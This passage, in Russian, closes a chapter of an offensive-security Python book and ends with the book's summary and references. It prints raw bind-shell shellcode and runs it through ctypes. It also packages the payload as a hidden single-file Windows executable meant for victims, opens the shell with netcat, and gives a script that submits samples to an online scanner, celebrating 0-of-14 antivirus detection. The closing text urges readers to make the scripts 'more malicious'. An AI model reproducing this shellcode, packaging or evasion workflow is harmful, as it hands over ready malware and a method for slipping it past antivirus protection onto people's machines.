"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5");
memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
```

Хотя скрипт на этом этапе будет выполняться на компьютере Windows с установленным интерпретатором Python, давайте улучшим его, скомпилировав программное обеспечение с помощью **Pyinstaller** (доступен по адресу <http://www.pyinstaller.org/>). **Pyinstaller** преобразует наш скрипт Python в автономный исполняемый файл, который можно распространять на системы, в которых нет интерпретатора Python. Перед компиляцией нашего скрипта необходимо запустить скрипт **Configure.py** в комплекте с **Pyinstaller**:

```
Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim>cd pyinstaller-1.5.1
C:\Users\victim\pyinstaller-1.5.1>python.exe Configure.py
I: read old config from config.dat
I: computing EXE_dependencies
I: Finding TCL/TK...
<..ПРОПУЩЕНО..>
I: testing for UPX...
I: ...UPX unavailable
I: computing PYZ dependencies...
I: done generating config.dat
```

Далее мы поручим Pyinstaller создать исполняемый файл спецификации для переносимого исполняемого файла Windows. Мы проинструктируем **Pyinstaller** не отображать консоль параметром **--noconsole** и собрать конечный исполняемый файл в один простой файл параметром **--onefile**:

```
C:\Users\victim\pyinstaller-1.5.1>python.exe Makespec.py --onefile
--noconsole bindshell.py
wrote C:\Users\victim\pyinstaller-1.5.1\bindshell\bindshell.spec
now run Build.py to build the executable
```

Создав файл спецификации, мы можем поручить **Pyinstaller** создать исполняемый файл для перераспределения среди наших жертв. **Pyinstaller** создаёт исполняемый файл с именем **bindshell.exe** в каталоге bindshell\dist\. Теперь мы можем перераспределить его любой жертве, пользующейся 32-битной Windows:

```
C:\Users\victim\pyinstaller-1.5.1>python.exe Build.py bindshell\
bindshell.spec
I: Dependent assemblies of C:\Python27\python.exe:
I: x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_none
checking Analysis
<..ПРОПУЩЕНО..>
checking EXE
rebuilding outEXE2.toc because bindshell.exe missing
building EXE from outEXE2.toc
```

```
Appending archive to EXE bindshell\dist\bindshell.exe
```

Запустив исполняемый файл против жертвы, мы видим, что TCP-порт 1337 занимается прослушкой:

```
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>bindshell.exe
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>netstat -anp TCP
Active Connections
Proto      Local Address           Foreign Address         State
TCP        0.0.0.0:135             0.0.0.0:0               LISTENING
TCP        0.0.0.0:1337            0.0.0.0:0               LISTENING
TCP        0.0.0.0:49152           0.0.0.0:0               LISTENING
TCP        0.0.0.0:49153           0.0.0.0:0               LISTENING
TCP        0.0.0.0:49154           0.0.0.0:0               LISTENING
TCP        0.0.0.0:49155           0.0.0.0:0               LISTENING
TCP        0.0.0.0:49156           0.0.0.0:0               LISTENING
TCP        0.0.0.0:49157           0.0.0.0:0               LISTENING
```

При подключении к IP-адресу жертвы и TCP-порту 1337 мы видим, что наша вредоносная программа работает успешно, как и ожидалось. Но сможет ли она успешно обойти антивирусы? Чтобы проверить это, напомним скрипт Python в следующем разделе:

```
attacker$ nc 192.168.95.148 1337
Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>
```

## Проверка работоспособности

Мы воспользуемся сервисом [vscan.novirusthanks.org](http://vscan.novirusthanks.org), чтобы просканировать наш исполняемый файл. NoVirusThanks предоставляет интерфейс веб-страницы для загрузки подозрительных файлов и сканирования их на 14 различных антивирусных движках. Хотя загрузка вредоносного файла с использованием интерфейса веб-страницы и расскажет нам то, что мы хотим узнать, давайте лучше воспользуемся этой возможностью, чтобы написать быстрый скрипт на Python для автоматизации процесса. Захват **tcpdump** взаимодействия с интерфейсом веб-страницы даёт нам хорошую отправную точку для нашего скрипта в Python. Мы видим здесь, что заголовок HTTP содержит настройку для границы, окружающей содержимое файла. Наш скрипт затребует этот заголовок и эти параметры для отправки файла:

```
POST / HTTP/1.1
Host: vscan.novirusthanks.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U
```

```
Referer: http://vscan.novirusthanks.org/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
-----WebKitFormBoundaryF17rwCZdGuPNPT9U
Content-Disposition: form-data; name="upfile"; filename="bindshell.exe"
Content-Type: application/octet-stream
<..ПРОПУЩЕНО FILE CONTENTS..>
-----WebKitFormBoundaryF17rwCZdGuPNPT9U
Content-Disposition: form-data; name="submitfile"
Submit File
-----WebKitFormBoundaryF17rwCZdGuPNPT9U--
```

Теперь мы напишем быструю функцию Python, использующую **httplib**, которая принимает имя файла в качестве параметра. После открытия файла и чтения его содержимого функция создаёт соединение с `vscan.novirusthanks.org` и выдаёт заголовок и параметры данных. Страница возвращает ответ, который ссылается на страницу **location**, содержащую анализ загруженного файла:

```
def uploadFile(fileName):
    print "[+] Uploading file to NoVirusThanks..."
    fileContents = open(fileName, 'rb').read()
    header = {'Content-Type': 'multipart/form-data; \
        boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U'}
    params = "-----WebKitFormBoundaryF17rwCZdGuPNPT9U"
    params += "\r\nContent-Disposition: form-data; "+\
        "name=\"upfile\"; filename=\"" + str(fileName) + "\""
    params += "\r\nContent-Type: "+\
        "application/octet stream\r\n\r\n"
    params += fileContents
    params += "\r\n-----WebKitFormBoundaryF17rwCZdGuPNPT9U"
    params += "\r\nContent-Disposition: form-data; "+\
        "name=\"submitfile\"\r\n"
    params += "\r\nSubmit File\r\n"
    params += "-----WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"
    conn = httplib.HTTPConnection('vscan.novirusthanks.org')
    conn.request("POST", "/", params, header)
    response = conn.getresponse()
    location = response.getheader('location')
    conn.close()
    return location
```

Изучая возвращённое поле местоположения от `vscan.novirusthanks.org`, мы видим, что сервер создаёт возвращённую страницу от <http://vscan.novirusthanks.org> + `/file/` + `md5sum(file contents)` + `/` + `base64(filename)`/. Страница содержит немного JavaScript для распечатки сообщения, гласящего, что *scanning file* и перезагрузка страницы до полного анализа готовы. В этот момент страница возвращает код состояния HTTP 302, который перенаправляется на

<http://vscan.novirusthanks.org> + /analysis/ + md5sum(file contents) + / + base64(filename)/. Наша новая страница просто меняет слово *file* на слово *analysis* в URL:

```
Date: Mon, 18 Jun 2012 16:45:48 GMT
Server: Apache
Location:
http://vscan.novirusthanks.org/file/d5bb12e32840f4c3fa00662e412a66fc/bXNmLWV4ZQ==/
```

Просматривая источник страницы анализа, мы видим, что она содержит строку с уровнем обнаружения. Строка содержит немного CSS-кода, который нам нужно будет удалить, чтобы вывести её на экране консоли:

```
[i]File Info[/i]
Report date: 2012-06-18 18:48:20 (GMT 1)
File name: [b]bindshell-exe[/b]
File size: 73802 bytes
MD5 Hash: d5bb12e32840f4c3fa00662e412a66fc
SHA1 Hash: e9309c2bb3f369dfbbd9b42deaf7c7ee5c29e364
Detection rate: [color=red]0[/color] on 14 ([color=red]0%[/color])
```

Понимая, как подключиться к странице анализа и убрать код CSS, мы можем написать скрипт для вывода результатов сканирования нашего подозрительного загруженного файла. Сначала наш скрипт подключается к странице **file**, которая возвращает сообщение **scanning in progress**. Как только эта страница вернёт перенаправление HTTP 302 на нашу страницу **analysis**, мы можем применить регулярное выражение, чтобы получить процент обнаружения, а затем заменить код CSS пустой строкой. Затем мы выведем на экран строку процента обнаружения:

```
def printResults(url):
    status = 200
    host = urlparse(url)[1]
    path = urlparse(url)[2]
    if 'analysis' not in path:
        while status != 302:
            conn = httplib.HTTPConnection(host)
            conn.request('GET', path)
            resp = conn.getresponse()
            status = resp.status
            print '[+] Scanning file...'
            conn.close()
            time.sleep(15)
        print '[+] Scan Complete.'
        path = path.replace('file', 'analysis')
        conn = httplib.HTTPConnection(host)
        conn.request('GET', path)
```

```

resp = conn.getresponse()
data = resp.read()
conn.close()
reResults = re.findall(r'Detection rate:.*\)' , data)
htmlStripRes = reResults[1].\
    replace('&lt;font color=\''red\''&gt;','').\
    replace('&lt;/font&gt;','')
print '[+] ' + str(htmlStripRes)

```

Добавив несколько вариантов анализа, мы получили скрипт, способный загружать файл, сканировать его с помощью сервиса [vscan.novirusthanks.org](http://vscan.novirusthanks.org) и выдавать нам процент обнаружения:

```

import re
import httplib
import time
import os
import optparse
from urlparse import urlparse
def printResults(url):
    status = 200
    host = urlparse(url)[1]
    path = urlparse(url)[2]
    if 'analysis' not in path:
        while status != 302:
            conn = httplib.HTTPConnection(host)
            conn.request('GET', path)
            resp = conn.getresponse()
            status = resp.status
            print '[+] Scanning file...'
            conn.close()
            time.sleep(15)
        print '[+] Scan Complete.'
        path = path.replace('file', 'analysis')
        conn = httplib.HTTPConnection(host)
        conn.request('GET', path)
        resp = conn.getresponse()
        data = resp.read()
        conn.close()
        reResults = re.findall(r'Detection rate:.*\)' , data)
        htmlStripRes = reResults[1].\
            replace('&lt;font color=\''red\''&gt;','').\
            replace('&lt;/font&gt;','')
        print '[+] ' + str(htmlStripRes)
def uploadFile(fileName):
    print "[+] Uploading file to NoVirusThanks..."
    fileContents = open(fileName, 'rb').read()
    header = {'Content-Type': 'multipart/form-data; \

```

```

        boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U'}
params = "-----WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += "\r\nContent-Disposition: form-data; "+\
        "name=\"upfile\"; filename=\""+str(fileName)+"\""+\
params += "\r\nContent-Type: "+\
        "application/octet stream\r\n\r\n"
params += fileContents
params += "\r\n-----WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += "\r\nContent-Disposition: form-data; "+\
        "name=\"submitfile\"\r\n"
params += "\r\nSubmit File\r\n"
params += "-----WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"
conn = httplib.HTTPConnection('vscan.novirusthanks.org')
conn.request("POST", "/", params, header)
response = conn.getresponse()
location = response.getheader('location')
conn.close()
return location
def main():
    parser = optparse.OptionParser('usage%prog -f <filename>')
    parser.add_option('-f', dest='fileName', type='string', \
        help='specify filename')
    (options, args) = parser.parse_args()
    fileName = options.fileName
    if fileName == None:
        print parser.usage
        exit(0)
    elif os.path.isfile(fileName) == False:
        print '[+] ' + fileName + ' does not exist.'
        exit(0)
    else:
        loc = uploadFile(fileName)
        printResults(loc)
if __name__ == '__main__':
    main()

```

Давайте сначала проверим какой-нибудь известный вредоносный исполняемый файл на то, сможет ли антивирусная программа успешно его обнаружить. Мы создадим [bindshell](#) TCP Windows, который занимает TCP-порт 1337. Используя стандартный кодировщик Metasploit, мы закодируем его в стандартный исполняемый файл Windows. В результатах мы видим, что 10 из 14 антивирусных движков «разоблачили» этот файл как вредоносный. Этому вирусу явно не удастся уклониться от достойной антивирусной программы:

```

attacker$ msfpayload windows/shell_bind_tcp LPORT=1337 X > bindshell.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_bind_tcp
Length: 341

```



```
Options: {"LPORT"=>"1337"}
attacker$ python virusCheck.py -f bindshell.exe
[+] Uploading file to NoVirusThanks...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scan Complete.
[+] Detection rate: 10 on 14 (71%)
```

Однако запустив наш скрипт **virusCheck.py** для нашего скомпилированного исполняемого скрипта Python, мы можем загрузить его в NoVirusThanks и увидеть, что ни один из 14 антивирусных движков не смог обнаружить его вредоносность. Успех! Мы можем достичь полного избегания антивируса с помощью горсточки битов языка Python:

```
C:\Users\victim\pyinstaller-1.5.1>python.exe virusCheck.py -f bindshell\dist\bindshell.exe
[+] Uploading file to NoVirusThanks...
[+] Scan Complete.
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Detection rate: 0 on 14 (0%)
```

## ИТОГИ

Поздравляем! Вы закончили последнюю главу и, надеюсь, всю книгу тоже. На предыдущих страницах было рассмотрено множество разных концепций. Начав с простенького кода Python для помощи в тестах на проникновение в сеть, мы перешли к написанию кода для изучения криминалистических артефактов, анализа сетевого трафика, беспредела в беспроводной сети и анализа веб-страниц и социальных сетей. В этой последней главе описан метод написания вредоносных программ, способных обходить антивирусные сканеры.

Прочитав эту книгу, вернитесь к предыдущим главам. Как вы можете изменять скрипты в соответствии с вашими конкретными потребностями? Как вы можете сделать их более эффективными, продуктивными или вредоносными? Рассмотрим пример в этой главе.

Можете ли вы использовать шифр для кодирования шелл-кода перед выполнением, чтобы обойти антивирусную сигнатуру? Что вы будете писать на языке Python сегодня? На этой ноте мы оставляем вас с несколькими мудрыми словами от Аристотеля:

*«Мы ведём войну, чтобы жить в мире».*

### Ссылки

- Baggett, M. (2011). Tips for evading anti-virus during pen testing. *SANS Pentest Blog*. Retrieved from <http://pen-testing.sans.org/blog/2011/10/13/tips-for-evading-anti-virus-during-pentesting>, October 13.
- Computer Emergency Response Team Coordination Center (CERTCC). (2012). Identification of a new targeted cyber-attack. CERTCC IRAN. Retrieved from <http://www.certcc.ir/index.php?name=news&file=article&sid=1894>, May 28.
- Gostev, A. (2012). The Flame: Questions and answers. Securelist – Information about viruses, hackers and spam. Retrieved from [http://www.securelist.com/en/blog/208193522/The\\_Flame\\_Questions\\_and\\_Answers](http://www.securelist.com/en/blog/208193522/The_Flame_Questions_and_Answers), May 28.
- sKyWlper Analysis Team. (2012). sKyWlper (a.k.a. Flame;a.k.a. Flamer): A complex malware for targeted attacks. Laboratory of Cryptography and System Security (CrySyS Lab)/Department of Communications, Budapest University of Technology and Economics. Retrieved from <http://www.crysys.hu/skywiper/skywiper.pdf>, May 31.
- Zetter, K. (2012). “Flame” spyware infiltrating Iranian computers. CNN.com. Retrieved from <http://www.cnn.com/2012/05/29/tech/web/iran-spyware-flame/index.html>, May 30.